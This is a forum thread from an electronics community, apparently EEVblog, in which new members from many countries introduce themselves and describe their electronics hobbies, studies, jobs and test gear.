Electronics and computers have been my hobby since I was like 8-9 years old back in the middle/late 90's. Been working as a hardware designer and software designer on microcontrollers, I like C but asm is a little pain in the ass sometimes.. But my new interests are EMC/EMI and digital signal processing <- cool stuff but the EMC/EMI is like magic :p

But right now I don't have a own electronics lab cause I moved in to my girlfriends apartment and there is almost no space for it. Hopefully next year we have moved into a bigger apartment or house :)

That's for me now,  great forum by the way!
Title: Re: New Member, Please introduce yourself
Post by: Aurora900 on September 17, 2013, 09:29:54 am
Hi!  I'm Danielle.  I'm a computer tech/systems admin from New York who likes to play with electronics on the side.  I'm passionate about technology in every aspect, but hardware is my favorite part.  I know a bit of programming too (mostly Java) and I'm also a photographer and musician.

I joined the forums since I just picked up my first scope.  It seemed like a good place to turn for help and advice with that :P  (Seeing as I got all my information so far from David's videos)
Title: Re: New Member, Please introduce yourself
Post by: atw60444 on September 22, 2013, 11:26:41 pm
Hi,
   I'm Jonathan from Portsmouth in England. I've been following Dave's video blogs since #1, whenever that was!
I owned my first soldering iron from age 8, passed my Radio Amateurs Examination at 16. Worked in the Telecoms industry for 32 years. But been tinkering with electronics and radio construction & repair most of the time as my main hobby.
I also play 2nd Cornet and am Chairman for a local Brass Band. It makes a nice break from technology :) 

73
Jon
Title: Re: New Member, Please introduce yourself
Post by: Scotty on September 25, 2013, 01:15:14 pm
Hello all, my name is Scott and I'm currently a student at Louisiana Tech University majoring in Mechanical Engineering, but I have a interest in electronics design.  I cant wait to be an active member on this forum.
Title: Re: New Member, Please introduce yourself
Post by: madsci on September 26, 2013, 04:31:12 pm
I'm Andrew from Dallas, Texas. I'm currently a part time student at the University of Texas at Arlington majoring in EE. I'm currently clearing out some prerequisite courses to the more advanced stuff.

I'm also the on-call sysadmin for a small private school back home and I run a tiny PC and electronics repair shop out of my bedroom, an operation that has been going on for about 15 years. I completed my first stereo repair when I was 9 years old and I've been interested in anything that passes electrons in a controlled manner since I shocked the heck out of myself on some xmas lights when I was 3.

I'm also a ham...KE5TMP.

Title: Re: New Member, Please introduce yourself
Post by: Köcki on September 27, 2013, 12:30:51 am
hello everybody, i am köcki from germany. just a beginner in pcb and electronic design. i hope i can learn a lot and perhaps even help you and give some advices.

regards
Title: Re: New Member, Please introduce yourself
Post by: andtfoot on September 27, 2013, 12:56:19 am
I've posted a couple of times now after an extended lurk, so I suppose I should chuck something here... :)
I'm Andrew from Australia. Currently living near and working in Canberra as an Audio/Video Technician of sorts.

I picked up electronics as a hobby back in high-school (I'm 26 now, so... sometime ~10 years ago?), and did most of an Adv. Dip. in Electronics before a job opportunity struck. Been working full-time since, but wouldn't mind finishing off the course.

I've recently gotten into it again and also started earning enough to get a bit more serious with the hobby so I'm stocking up the "lab". I have a cheap analog and digital scope, DMM, soldering station, chip programmer, assorted misc; looking at PSUs, function generator, etc in the near-ish future.

Loving the videos and the knowledge on here. :D
Title: Re: New Member, Please introduce yourself
Post by: Br0ski on October 01, 2013, 09:36:52 pm
Br0ski here. Was an Electronics Technician for the military working on Satellite Communications always been interested in electronics. I like what Dave's doing here (love his videos) and thought I would drop in and check this place out. Maybe participate a little. I am still learning as electronics spans a very huge array of topics and expertise. Currently I am using most of my skills for setting up audio equipment and learning about that. I work now as an Industrial Engineer.
Title: Re: New Member, Please introduce yourself
Post by: djococaud on October 02, 2013, 08:21:46 am
Hi everyone,
My name is Jonathan, also called "Djo", I'm currently a LED lighting system designer in a small company in Nantes (France).
My typical working day is to draw PCBs for LED Spots, LED stage lights, LED video screens and so on...
My hobbies are music (piano, guitar, bass...) and electronics (of course  ;)), Mostly based on LEDs (Yes I'm a LED fanatic  ;D).


Oh yeah, and I love this forum ! :-+
Title: Re: New Member, Please introduce yourself
Post by: victor on October 03, 2013, 01:16:33 pm
Hi, my name is Victor, I'm a computer science kid, but I was always playing with electronics before computers, I was always hacking electronics, blowing shit, taking things apart.

My interest in electronics started since taking toys apart, then I was facinated about transmitters I dived in rf and analog electronics, etching some boards using all savaged parts. Some years after I started programming software and I dived in digital electronics.

I was always following all kind of electronics content on books and the internet, so one day I found the EEVBlog about 2 years ago, watching it since then but just recently joined the forum.
Title: Re: New Member, Please introduce yourself
Post by: alan747 on October 07, 2013, 10:26:27 am
Hey! im Alan and i have a very big interest in all things electronic.
Title: Re: New Member, Please introduce yourself
Post by: coreybus on October 07, 2013, 11:03:10 am
Hi Im Corey. Studying Electrical Engineering at The Royal Melbourne Institute of Technology (RMIT). First year as of 2013. I have always been interested in electronics and how electronic systems function so i though becoming an Electrical Engineer would be a fitting career path into something that i am truly interested in.
Title: Re: New Member, Please introduce yourself
Post by: Rcouto on October 07, 2013, 11:06:14 am
Hi All,

Ricardo from Canada. I am an electronics hobbyst. Love Dave's youtube channel.

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: hughes_k on October 07, 2013, 11:10:29 am
Hey, everyone! I'm Kevin from Philadelphia.  I am just about done my Master's in EE from JHU (Baltimore, MD), and have my bachelor's degree in Computer Engineering double with Applied Math and Statistics.  I love Dave's videos, and have found the forum to be really interesting too.
Title: Re: New Member, Please introduce yourself
Post by: Hamster on October 07, 2013, 11:17:01 am
Hey, New Member 2x .... I was a member, but got purged ? had to resign up.

I repair Arcade & Pinball PCB Boards, and Member of the Orlando, FL , US Familab Hackspace, and Tampa, FL, US "Tampa hackerspace" .

I own various test equipment:

HP 16700A & B Units , Modules include dso, la, pg ..
Rigol 815-tg + swr bridge
Rigol 100mhz dso scope
fluke 9010 microprocessor test system.
fluke z80 & 6809 portable microprocessor test boxes.(not sure on exact model #)
rhode & swartz rf signal generator
crt tube rejuvenator.
lots of avr & arduino stuff.


i just enjoyed the weekend @ the orlando mini maker faire, baby sitting & coding on the "RaspberryPi Controlled Fireball" Pinball machine..

i am also one of them "amateur radio operators" , US Call-sign "KI4SWY"
Title: Re: New Member, Please introduce yourself
Post by: lagman on October 07, 2013, 11:36:21 am
Hey,
I'm François and I live in France. I just got a Master's degree in micro electronics and I'm currently looking for my first job.
I like to play with electronics in general but I specially like RC planes (currently owning a Bixler 2).
I also LOVE batteries. I guess it's because they can contain so much power... I like to build battery powered things, like LED flashlights or an USB emergency battery.
Looking forward to learn many things here!
Title: Re: New Member, Please introduce yourself
Post by: usLEDsupply on October 07, 2013, 11:49:46 am
Hello, i think i have watched every one of the EEVblog videos over the past few years and lave learned a lot about electronics and test equipment from them:-) for work i do product design and tech support for usLEDsupply and i am always excited to work on electronic projects or making things with our CNC routers.
Hello to all
Desta from Mercer, PA USA
Title: Re: New Member, Please introduce yourself
Post by: MichaelW on October 07, 2013, 12:32:07 pm
Well, this could be a ridiculously long post, but I'll keep it as short as I can. I am 41 year old working on a electrical engineering degree.

As a kid I was interested in electronics, I took stuff apart. I read a few books. I built a few circuits that were featured in those books. However, I never really understood what I was doing. I was a poor student and ended up quitting school at 15, joined the US Navy at 17 (got my GED in the Navy), was a welder (poor ASVAB math scores prevented getting into anything interesting like electronics), got out and got into computers and spent the next ~20 years being a bench tech/it consultant... but wasn't happy.  I always regretted not going to college, and I always regretted not pursuing my interest in electronics. So, when I lost my job do to the economy in 2009, I decided to go to the local community college. Initially, I intended to go for a CompSci degree, but quickly decided that I really didn't want to do that.  What I REALLY wanted to do was finally get into electronics!  So, I switched gears and started on the long path toward an EE degree. It took me 4 years to get my AA (had to work and pay bills, plus a LOT of remedial math) and right now I am at University as a Junior in the EE program.

A while back I discovered Dave on one of his videos and was highly entertained and learned something, so I decided to watch more of his videos. Been watching ever since. I finally decided to come over to the forum and register. I'll be asking some dumb questions, I'm sure. To be honest, I have been wanting to post something for a while, but I've been intimidated. I know so very little, I feel dumb for even being here. As if I have nothing to contribute.

I think Dave and I are about the same age, and had I had the presence of mind, dedication, and drive that he has, I could probably have been doing something so much more productive and interesting with my life than the aimless wandering it has been so far. Hopefully I can make this course correction work and spend the next 20+ years doing something I enjoy.

Hmm. Now that I read back over that it was a rambling mess. Let me try again:

Was interested in electronics as kid, quit school, joined Navy, wasted life for 20 years, lost job, started college, working on EE degree at University now.

That was better.
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Post by: chrisdevilx3 on October 07, 2013, 12:32:54 pm
Hi, my name is Chris and I am from Greece. I am an Electrical and Computer Engineering student and Iam interested in everything involves hardware. I like arduino constructions and stuff..
Title: Re: New Member, Please introduce yourself
Post by: bronzies on October 07, 2013, 01:05:40 pm
Hello from California. I am a molecular biology student. I am taking a few DCC classes on the side and am excited about the skills I'm getting. Hopefully there are a few electronics projects in my future!
Title: Re: New Member, Please introduce yourself
Post by: dacrawf on October 07, 2013, 01:40:47 pm
Hi everyone! My name is Derek, I am from Michigan. I am a computer engineer by education. I am employed as a mechatronics engineer for a global heavy duty diesel engine manufacturer. My job is focused around CAN based distributed  engine control system test and validation using hardware in the loop simulation. I have followed the eevblog videos since Dave was still in his garage...
Title: Re: New Member, Please introduce yourself
Post by: cubansite on October 07, 2013, 01:44:07 pm
Hey guys im lew

Born in cuba, but grew up in the states with the passion to take things apart and see if i could break fix it.

love the blog
 
Title: Re: New Member, Please introduce yourself
Post by: deth502 on October 07, 2013, 01:59:17 pm
i just saw the contest announcement and id love to get one of those flukes, or the gossen (really no use for 4th place) so i came here and see that i only had 3 posts. im sure this wouldnt count as a "meaningful" post, but i figured id post something anyway, even though im not "new" here.

been watching the blog for a long time. never really get to the forums much, although i did get great responses from the question i did ask here. mainly, i think im a bit below the bar of the average member here, and i dont want to look like the village idiot asking stupid shit all the time.

im 36 now. i was into hobby electronics back in my teenage years, but havent been into it for a while. back then, no real matls to learn from, and no real outlet for components. lately in the last year or 2 ive been getting back into it. the internet and ebay make things SOOOO different now than what it was.

so, right now im trying to know everything i knew before, lol. ive never gotten into microcontrollers, thats one new aspect to me im starting to look at now. i dont work in the field, its all hobby for me. i do do electrical installs and repairs (line voltage stuff) and some networking stuff (wiring hookups, ect, no software side stuff) as well as general contracting, auto repair... ect....

ok, i guess ive rambled on enough. stay safe all!
Title: Re: New Member, Please introduce yourself
Post by: HIGHintention on October 07, 2013, 02:21:38 pm
Hi, my names Emerson from Philippines. I have always have fun tinkering electronics even though I'm not good at it. It would be nice if I can find simple electronic solutions about things I get myself involved with in nature/outdoors(monitoring), photography and Wilderness Search and Rescue.
Title: Re: New Member, Please introduce yourself
Post by: Sar on October 07, 2013, 02:31:01 pm
Hey I'm new here as well, just checking out the forums (after the YouTube contest announcement, I guess it's working!).

I actually found EEVBlog through The Amp Hour and caught up on a bunch of the videos over the last few days. I enjoy the videos and, yeah, sometimes I am like 'but but, can't you see that....' and that's usually when Dave's going 'You're probably all yelling at your screen.' LOL.  Fun videos and some really cool teardowns and such. I really liked the FPGA and JTAG intro stuff, almost makes it tempting to get into.

I've pretty much lived electronics my whole life, started off in the forest mims books from ratshack when I was 7 or 8. Digital electronics came a lot more naturally than analog electronics but I can bumble my way through either when it really needs to be done. I've done quite a few projects from working with high energy HV caps (8500 - 21,000 joule at 10kv-21kv) to silly light blinking projects for people who absolutely must have lights blink to make a piece of equipment "look busy" for the investors. My work stuff these days is mostly working with LED displays and my fun time projects are electronics, R/C helis and multicopters, FPV, 3D printing and the rare proprietary design job on the side. If there's anyway I can help with those areas I will contribute.

Anyways, now that I've caught up on the videos I'm going to be following on the forums as well.
Title: Re: New Member, Please introduce yourself
Post by: Greyersting on October 07, 2013, 03:09:10 pm
Hi, I am Greyersting (not real name of course).  Electronics is my hobby and I am just a beginner.  I hope to learn a lot here.
Title: Re: New Member, Please introduce yourself
Post by: Wormetti on October 07, 2013, 03:24:51 pm
I'm 34 and in Melbourne, Australia. I'm more of a software engineer than hardware but I'm interested in all technology. I only started watching Dave's videos when he did a teardown on the Amiga 500 but I've watched every video after that.
Title: Re: New Member, Please introduce yourself
Post by: cristoper on October 07, 2013, 03:42:53 pm
Hello from Colorado (USA). I've always loved electronics, but have been sucked into software development for the past ten years or so (most recently iOS stuff, blegh). I'm finally getting back into learning about electronics -- I bought a new soldering station and registered an account on the eevblog forum and everything  :)
Title: Re: New Member, Please introduce yourself
Post by: MinK on October 07, 2013, 05:20:40 pm
Hello,

I'm recently graduated electrical engineer. Dave's video blog really helped me. Hope forum will add even more useful info and ideas for projects :)
Title: Re: New Member, Please introduce yourself
Post by: konatsu on October 07, 2013, 06:12:09 pm
HI, I'm Robert from Poland
Title: Re: New Member, Please introduce yourself
Post by: pstrag on October 07, 2013, 06:55:59 pm
Hey, I'm Slawek. I'm control and automation student from Poland and electronics is my hobby (after third attempt I understood how to use transistor, every time half year break, but I was 10-ish years old) :> Now trying to learn to program industrial PLCs, but most of time playing with small microcontrollers.
Title: Re: New Member, Please introduce yourself
Post by: Avi on October 07, 2013, 07:21:02 pm
I'm Avi, just a hobbyist for now. Mainly deal with ARM microcontrollers and PC software that interfaces with it.
you can see some of my projects on my (sometimes online, self hosted) website http://avi.hobby-site.org:8888/wiki/index.php/Main_Page (http://avi.hobby-site.org:8888/wiki/index.php/Main_Page)
Title: Re: New Member, Please introduce yourself
Post by: niekproductions on October 07, 2013, 07:30:56 pm
I've been lurking these forums for way too long, and finally decided to register  ^-^

I'm Niek (http://niekproductions.com/), 15 years old and located in the Netherlands. I've been a long time subscriber to the youtube channel. Dave has taught me a lot of what I know about electronics.

I've been into electronics since I was 8 years old. There's only a tiny selection of my projects on my blog (http://niekproductions.com/). A couple of videos can be found on my Youtube channel (http://youtube.com/niekniekgo).

Also, I love reading the (sometimes) too good to be true crowdfunding discussions  :-+
Title: Re: New Member, Please introduce yourself
Post by: XOIIO on October 07, 2013, 07:53:07 pm
Hey, I'm XOIIO, medium-time ish fan of the eevblog on youtube, but a life long lover of electronics, taking them apart, making new stuff, modifying things, etc. Recently got into arduino. Not sure if there's much else to say.
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Post by: arjhun on October 07, 2013, 07:55:10 pm
Hello EEVBLOG!

My name is Arjen Klaverstijn. I'm from the Netherlands and I've been following Dave ever since I started looking into electronics and open hardware. I am a 3D animator by day and like to fiddle with electronics in my spare time. I like experimenting with arduino boards (UNO, Teensy 2.0++) I've recently build a 3d printer (reprap Prusa i2) and am currently building custom midi devices for my other hobby, music (example (https://plus.google.com/116012912882807940699/posts/JBWS3rgirhE))!.

My site:
www.arjenklaverstijn.com (http://www.arjenklaverstijn.com)

blog:
blog.arjenklaverstijn.com (http://blog.arjenklaverstijn.com)

Hope to talk soon!

Arjen (Arjhun)
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Post by: jbe on October 07, 2013, 08:40:53 pm
Hi guys!

I'm a german physics student, currently struggling with his master-thesis ;)

My current electronics projects are:
- blinky-stuff with real small bulbs (no leds, that is ;) ); A 8 by 18 Matrix, calculated to consume up to 14 Amps at 3.3V
- a passive uC controlled audio preamplifier
Title: Re: New Member, Please introduce yourself
Post by: eendje on October 07, 2013, 10:13:30 pm
Hi All,

I am Bob, electronics engineer.

I just love the tare down video´s of Dave it saves me loads of time....

Regards,

Bob
Title: Re: New Member, Please introduce yourself
Post by: IZ3IJG on October 07, 2013, 10:14:31 pm
Hi everybody,
I'm Daniel from Venice (Italy). I work as solution architect in the banking sector but I'm fond of electronics and wireless communications. Presently I'm working on some projects base on Arduino DUE.
Also, you may contact me on HF band (PSK31) as my callsign is IZ3IJG.
Title: Re: New Member, Please introduce yourself
Post by: Hooch on October 08, 2013, 01:26:52 am
Hello.
I'm Maciej from Poland.
I'm starting with electronics. I'm more into microcontrollers then other stuff, but I hope I'll learn there something.
Title: Re: New Member, Please introduce yourself
Post by: Brutte on October 08, 2013, 01:56:45 am
Hi, how do you do?
I am a long time viewer of EEVBlog so I have finally decided to register.
I especially like detailed tear-downs, reviews and Dave's explanations of how the stuff internally works. I always loved disintegrating devices into elementary pieces and experimenting with those and now, since we have Dave, it is equally entertaining and much more fun!
Title: Re: New Member, Please introduce yourself
Post by: GingGangGooly on October 08, 2013, 02:06:52 am
Hi, I am based in the UK.

I originally started out life working in the electronics field & somewhere along the way moved over to working on computers. It has been a score or more years since I last properly tinkered & wow how the world has changed. The collection of 74 & 40 series chips I have may soon be old enough to be in a museum  :-DD

Always found Dave's video's entertaining & he certainly speaks his mind. No doubt I will be asking questions & answering some where I can.

Cheers
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Post by: gregallenwarner on October 08, 2013, 02:16:36 am
Hi. I'm a US viewer who's been watching Dave's videos for quite some time now. I'm a software developer by trade, but I enjoy doing a bit of hardware design as a hobby. I'm hoping I can begin to do some FPGA or CPLD stuff soon, of which I currently know nothing, so I decided to come here to get some help.
Title: Re: New Member, Please introduce yourself
Post by: Stephen1424 on October 08, 2013, 05:26:14 am
Stephen
Live in Los Angeles CA, USA

Been watching from the beginning

Love Apex Electronics near my house, never knew about it before Dave went on his vacation over here. :)
Title: Re: New Member, Please introduce yourself
Post by: V3r50n on October 08, 2013, 06:12:56 am
Good day, I am Jt. I am a software engineer and I have been learning pcb design and electronic engineering on the side. If anyone has any questions relating to both I may be able to help or send you in the right direction on where to find this help. Looking forward to meeting and exchanging knowledge.
Title: Re: New Member, Please introduce yourself
Post by: magnus0re on October 08, 2013, 06:26:19 am
Hello, My name is Magnus, I come from Norway.
I am studying electronics engineering at Bergen university College. I've been lurking alot, so time to become a member.
Title: Re: New Member, Please introduce yourself
Post by: maros on October 08, 2013, 07:50:06 am
Hi folks! My name is Mark, and I'm an electrical engineer, currently working as an embedded programmer.

I'm EEVblog viewer since couple of years. I like to watch especially tear downs of any measurement gear (oscilloscopes, multimeters, etc.).

I'm glad to be a new member of EEV forum community!
Title: Re: New Member, Please introduce yourself
Post by: XL5 on October 08, 2013, 08:24:18 am
Hello

I'm Matt. I'm a software engineer at NSN in the UK and I'm also a Computer Security Student at UWE.

This is kind of a hobby.
Title: Re: New Member, Please introduce yourself
Post by: Lucas on October 08, 2013, 08:51:33 am
I'm Lucas from the Netherlands. Never studied electronics, but I've started some projects recently. So I'm still in the process of learning and of building a basic set of equipment.

One of the projects I started is a power amplifier for HIFI sound. The design I use is made by a very knowledgeable friend.
Title: Re: New Member, Please introduce yourself
Post by: vk2hmc on October 08, 2013, 10:00:11 am
Marki from North Epping, Sydney, Australia here.

Dead keen on Precision timing.
Have a large HP (and some other makes) 1975-1995 test equipment collection some of which I use regularly.

I only just discovered the forums although I registered a few months ago for something and never posted.

Look forward to some quality time well spent with like minded aficionado's or helping out.

thanks for having me Dave!
--marki
Title: Re: New Member, Please introduce yourself
Post by: thoper on October 08, 2013, 10:31:27 am
Hi everyone! i'm Alexis from CHILE, i'm an EE and work in an industru not related to EE..... :( i have some experience in medical devices design,...
Title: Re: New Member, Please introduce yourself
Post by: ishelly404 on October 08, 2013, 01:10:53 pm
Hi everyone,

I'm Ian from the USA.  I have watched EEVBlog for about a year and last month decided to bite the bullet and create an account here.

I'm not an EE (not yet at least...) but I tinker with electronics as a hobby.
Title: Re: New Member, Please introduce yourself
Post by: GaryW on October 08, 2013, 01:16:19 pm
Hi everyone -

I'm Gary from the USA.  I'm new to the EEVBlog and to electronics in general.  I'm an IT executive (a programmer for many years) who works too much and has realized I need a new hobby and something I can learn along with and teach my son. 

So....I found EEVBlog and joined!

Title: Re: New Member, Please introduce yourself
Post by: kalobg on October 08, 2013, 04:54:33 pm
Hello all,

EE student in the US.  Been watching Dave's Youtube videos for some time and I thought I'd branch out into other interesting topics found here!
Title: Re: New Member, Please introduce yourself
Post by: MrProsser on October 08, 2013, 07:05:38 pm
Hello all,
I live in Ottawa, ON, Canada and am sadly currently between jobs...but anyway, I have a background in physics and computer science. Currently I am mainly focused on programming but I am trying to get back into doing electronics work as a hobby. I mainly worked in particle physics when doing my physics degree but my favourite labs were the various digital and analogue electronics courses I took while doing both degrees. Loads of fun. Anyway, I have sadly forgotten a lot but hopefully I can recover some of that knowledge.
Title: Re: New Member, Please introduce yourself
Post by: Richard_Fry on October 08, 2013, 08:55:06 pm
Hi,

Just realised I've been slowly posting away and haven't said Hi in the welcome lounge, so Hi!
Been in the industry for 20years now, assembly, test, design etc.
Originally in the UK in the medical industry and most recently in the GPS / auomotive datalogging area.
Just moved to Australia for a new start  ;D

See you all in the forums.
Rich.
Title: Re: New Member, Please introduce yourself
Post by: Flick on October 08, 2013, 11:24:35 pm
Hi, my name is Felipe, I'm from Brasil. I'm a Telecom Eng. student and also I have an embedded systems company :)
Title: Re: New Member, Please introduce yourself
Post by: Valueduser on October 08, 2013, 11:47:00 pm
Hi, I study computer engineering technology.  Although my course of study focuses on digital design and embedded systems I also am very interested in audio design.
Title: Re: New Member, Please introduce yourself
Post by: AF6LJ on October 09, 2013, 05:13:44 am
My name is Susan, I am semiretired former RF tech, electronics hobbyist and radio amateur.
I have been an SWL for all my life, well ever since my grandfather introduced it to me when I was seven.
By the time I entered middle school I had an interest in electronics which my family encouraged.
I made a career of it until the hand of fate changed things.

I enjoy walks on the beach at sunset, being in the arms of a strong man and I am a Scorpio
Oh wait.....
This is not the seventieths anymore
;)

Title: Re: New Member, Please introduce yourself
Post by: walterharriman on October 09, 2013, 05:39:12 am
Hello EEVBlog viewers! My name is Dan Colmer, I'm a 15 year old nerd living in the UK and I have recently started watching the EEVBlog. I'm not exactly an expert in the field - I've dabbled in some extremely basic Raspberry Pi stuff (by which I mean sticking a plastic sheet over a keyboard and using it as an input device for a soundboard program), and my equipment inventory consists of a 12MHz analogue Farnell scope (DTC12 if anyone wants to looks it up), one of the ubiquitous OneHungLow 830-type meters, an analogue meter of uncertain vintage and a Skytronics bench PSU with the loudest fan I have ever heard on a piece of test gear. I mostly troubleshoot stuff (primarily other people's NES consoles as I'm a huge retro gamer, and that's often just a dodgy cart connector), but have very little knowledge of actual hobby electronics. I'm willing to learn, and the EEVBlog has taught me an awful lot. Most of my past projects have been film props with blinking LEDs and stuff, so I have yet to achieve anything of practical significance.

See you guys on the forums!
Title: Re: New Member, Please introduce yourself
Post by: zorder on October 09, 2013, 07:55:41 am
Hi everyone,

I'm a PhD student, currently writing my master thesis on computer science. I'm interested in haptic devices and virtual reality, and I started learning electronics a few years ago to build some custom devices. I discovered Dave's channel on youtube a few months ago, and I found it very interesting and funny to see. Since then, I've replaced everyday's TV with EEVBlog episodes. Happy to learn while having fun!
Title: Re: New Member, Please introduce yourself
Post by: 99wilksjam on October 09, 2013, 12:13:48 pm
Hi , I'm Jamie from the UK. I love to tinker around with avr and create projects that lead into great ideas!
Title: Re: New Member, Please introduce yourself
Post by: stempile on October 09, 2013, 02:44:39 pm
Hello. I hail from Northern California, USA. Collecting tools and taking things apart for as long as I can remember. My great grandpa was a classic tv repair man among other things. His shop was a dingy mid western basement with all kinds crazy stuff. Everything in their house was always half taken apart just in case something needed adjustment.

I like to build robots and am an active volunteer if the usfirst.org organization in many levels.  My degrees are in business (MBA), my passion is in hacking and learning about electronics. I am driving by figuring things out.
Title: Re: New Member, Please introduce yourself
Post by: june on October 09, 2013, 06:18:12 pm
My name is mandy, and I am just graduated from university.
Title: Re: New Member, Please introduce yourself
Post by: 84GKSIG on October 10, 2013, 01:45:17 am
Wanted to say hello,

Im a 25 year old electronic hobbyist from Australia, ive been playing with electronics since I was 6 and I have taught my self a lot over the years.

I'll give anything a go, repairing, making hacking its all good fun and best way to learn :-+

micro controller stuff still confuses me but ill get my head around it one day!  :-/O

my fascination is with amplifiers, chip amps, tube amps, discrete component amps, hybrid tube and chip, love every single one of them and love building them :-+
Title: Re: New Member, Please introduce yourself
Post by: avas911 on October 10, 2013, 02:45:30 am
HI,

I am Salman from Bangladesh. I am an Electronics Engineering graduate. But working as a Software Engineer for more than 2.5 yrs.

As a child used to love electric and electronics. Did not have the tools or reference materials than. After getting internet I have been doing a lot of hacking and fixing. Mostly fix stuff for fun.

Sad news is after getting this job I am having trouble with time management. Still have 2 Sapphire 5750 and one XFX 4670 in drawer gathering dust. Would like to fix them when I get some time.

Did not know about this forum until I decided to do some digging on some good multimeters. Came to the youtube channel from google and watched all the multimeter videos.

Found the forum after this.

Problem is I am not educated enough for most stuff written here. Still will try my best to participate. Mostly will be reading stuff, but maybe one day :D
Title: Re: New Member, Please introduce yourself
Post by: JustinHV32 on October 10, 2013, 04:10:49 pm
Gday everyone,
 Im Justin from victoria. I'm a keen electronics hobbyist. I work as "Linesman" - powergrid maintenance person, for 10 years, so not an EE at all.
I've been into building things for as long as I can remember, not necessarily electronic.
My engineering interests include electronics, programming and cnc machining.
I'm mainly into AVR and ARM based projects.
Title: Re: New Member, Please introduce yourself
Post by: logman on October 10, 2013, 06:40:57 pm
hello. I'm just getting into electronics as a hobby, but i've been taking things apart since i was a kid. i just got a new soldering station and hope to learn electronics :)
Title: Re: New Member, Please introduce yourself
Post by: cloud_constructor on October 11, 2013, 12:57:51 am
Hi everyone!

im from greece , athens in particular , im a professional php developer but electronics were always on my mind.Ive been building my lab for a gazzilion years but finaly im happy with it!

Still new to microcontrollers , they where never around here back on the 90`s !!

well anyway .. Hellowwwzzz
Title: Re: New Member, Please introduce yourself
Post by: Tonkabot on October 11, 2013, 04:42:50 am
Hello,    I have been doing EE and CSCI for 35 years now, and have only known about Dave's videos for a couple years.

I work a a consulting firm where we do whatever the customer wants, which is usually too much with too little money  :)
Generally I do embedded systems from design to board layout to firmware to production,  with whatever parts work best.
I must admit that I like AVR's over PIC's, but I have done a lot of Coldfire stuff and now plenty of ARM.

Title: Re: New Member, Please introduce yourself
Post by: AwArD_RzD on October 11, 2013, 11:47:23 am
Hi

I'm Jason, i found the EEVblog last year when my love for electronic came back after a 10 year break. I started to take apart thing when i was 3 year old, when i had my first computer i knew what i wanted to do, after a 3 years in Electrical Engineering Technology (sorry for the translation) i left because i was not very good with other class and the motivation was not there :=\ . 3 year after i took a course (sorry again for the translation) in Electro-automated system, i learned hydraulic,pneumatic system, all the automation to run an assembly line or anything a big industry need to mass produce something, motor drive and high power equipment (600v 3 phase 1k amp, don't touch that with your hand). Last year i found this blog and well i was curious what i missed and well i found i still love electronic but now as a hobby and it's very different of the vision i had many year ago.

so Hi everyone and thanks Dave for this blog and thanks everyone who contribute!!

Title: Re: New Member, Please introduce yourself
Post by: bootfetch on October 11, 2013, 01:16:54 pm
Hi All!

Im Bootfetch from the philippines - i like playing around with microcontroller (PIC/AVR/Arduino) stuff and programming in Java and Scilab.

I always watch Dave in you tube and im really amazed how he tears down stuff (coz if tear them down theres a 95% chance they wont go backto normal hehe)

Im keeping a blog http://labratsgonewild.com/ (http://labratsgonewild.com/) where i put posts of the projects that i like, i have a few posts of my own projects just a start up, im hoping to get more projects posted - Hope you guys like it.

Title: Re: New Member, Please introduce yourself
Post by: orion242 on October 11, 2013, 01:34:36 pm
Hello all,

I’m the US and work in the commercial building automation industry.  I design and program automation systems that control HVAC and lighting equipment mainly.  From time to time I get to dabble in the PLC world on industrial equipment.

When not working, I enjoy taking apart the same controllers poke around them and see what makes them work.  I hack away at the internals both software and hardware for my own amusement.  I also play with uCs, mainly Parallax stamps, propellers and recently the raspberry pi.

My main draw to this site was :-DD:

(http://www.gifsforum.com/images/gif/other/grand/b635367e2005e76d5a2658b3ea16518e.gif)
Title: Re: New Member, Please introduce yourself
Post by: sanarose on October 11, 2013, 04:02:44 pm
Hi friends my name is Sana. i am new here i recently join this great community this is great forum to get information i read out all the threads on this forum and get pretty knowledge and also shared my knowledge in this forum....
Anyways would you like to introduce your self...??
Title: Re: New Member, Please introduce yourself
Post by: Mex on October 11, 2013, 10:03:27 pm
Hi all,

I am a UK PHD student in Computer Science and I help run our Universities Maker society. (http://tinkersoc.org (http://tinkersoc.org))
Title: Re: New Member, Please introduce yourself
Post by: greg_gsg on October 12, 2013, 01:30:03 am
Hello from Greece

I have a company here in Greece (a one man show really) and I do electronic design, technical consulting etc for my customers.

I "use" David s video blog/channel , especially after a long day to relax and learn something new...

Gregory





























Gregory
Title: Re: New Member, Please introduce yourself
Post by: mr6b on October 12, 2013, 10:13:04 am
Hello everyone :)

First offall Thank you Dave for all the good YouTube videos

Im from Norway and my spelling sucks bigtime :) have been playing around whit electronics for a fea years now most audio stuff and old computers since im a retro gamer and a music lover ..

I have no background in electronics so some of the eevblog videos are way to complex for me but i never get tierd of them :)

My "lab" equipment is a old Kenwood CS1022 scope, Fluke 87 and a fea diy powersupplyes , next on my must have list is a frequency generator and a digital scoop
 
Title: Re: New Member, Please introduce yourself
Post by: krux on October 12, 2013, 02:35:58 pm
Hey all.  Krux here from SYN Shop in Las Vegas, Nevada.  I hack on electronics, make robots, and custom steampunk goggles.

In the middle of a web site redesign, but the following will get you to a link of some of the projects I've done:

https://krux.org/projects

and also here:

https://synshop.org/blog/krux


And yes, the web cert for krux.org is expired as well.. that's also on my list to.
Title: Re: New Member, Please introduce yourself
Post by: Gravity1337 on October 12, 2013, 04:40:58 pm
Hi, I'm Matt - been dabbling in one way or another for years. Trying to finally get a better understanding of everything so I can do some more complicated stuff.
Title: Re: New Member, Please introduce yourself
Post by: jakeyflower on October 12, 2013, 09:31:00 pm
Hello everyone, My names Jakey I love electronics, I'm 21 as a kid i always use to pull apart electronics to see how they worked :)

I'd also like to personally Dave (eevBlog) I found out about him and this website Through this video "EEVblog #180/183/186 - Soldering Tutorial Part 1/2/3" 

I've realised why all my soldering has been crap and I gave up, I always soldered the tip first, had a crap iron an was using cheap crappy solder, I can't wait to give this another go as I love building electronics kits but gave? up because of my bad experience, Thank You Again!

Anything else you'd like to know about me just ask :)
Title: Re: New Member, Please introduce yourself
Post by: HyBird on October 13, 2013, 01:10:06 am
Hi Guys,

My Name ist Marco Iam 39 years old and i live in Bonn (Germany).
Iam working in a little Factory as Chemical Technican Assistent.
My Job there is mixing fatty things with Water and emulgators to get
Cremes and Lotions for sensible Skins. (anti allergic Stuff without harmful parfum or conservation agents)

My second job and hobby is: I am a PC Doctor (PC Doktor Bonn)
I try to help all the People with a Computer Issue.
So i also interestet to educate myself in electronics.
And one Day i stumbeled over thhe EEVBlog with dave and his funny Voice. So i was infected by the EEVBlog Virus.
And now it was time to sign in into the Forum to meet all this other Guys with so much potential......

